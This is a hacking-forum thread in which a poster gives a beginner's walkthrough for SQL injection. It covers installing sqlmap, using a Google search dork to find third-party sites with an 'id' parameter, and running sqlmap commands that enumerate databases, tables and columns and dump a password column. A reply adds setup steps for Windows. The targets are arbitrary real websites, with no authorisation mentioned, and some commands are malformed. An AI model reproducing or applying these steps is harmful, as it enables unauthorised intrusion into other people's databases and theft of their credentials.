Maybe it would be cool to show an easy sql attack.

First you need an attack program.

sudo apt install sqlmap

Then use google to find a website suitable for the attack. Simply enter the phrase "inurl.php id=" into the search engine. Displays pages that have the "GET" parameter enabled

inurl.php id=

With this command, you will get a statement of the entire database, if you succeed, nothing will stop you

sqlmap -u "someweb.com?id=5" --dbs

Then instead of "--dbs" try, for example, 

sqlmap -u "someweb.com?id=5" --dbs table_local_dbs --tables

and then 

sqlmap -u "someweb.com?id=5" -D table_local_dbs -T example_Table --columns

And then select the column you want to get information about

sqlmap -u "someweb.com?id=5" -D table_local_dbs -T example_Table -C password --dump

And you have what you need, good for a start, right?

If anyone has a newer and easier way of sql injection, please send it. I like to learn from the best.

I know this is a complete foundation, but 10 years ago it would have definitely been useful for me when I was learning. If anyone has any other tutorials for beginners. Thank you and sorry for my english.

thank you

Can we use SQL map in windows or only in Linux?

(September 30, 2022, 04:28 PM)bgfhrt32 Wrote: Can we use SQL map in windows or only in Linux?

Yes, the program is designed in python, so it can be run anywhere.

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

cd sqlmap-dev

python sqlmap.py

https://github.com/sqlmapproject/sqlmap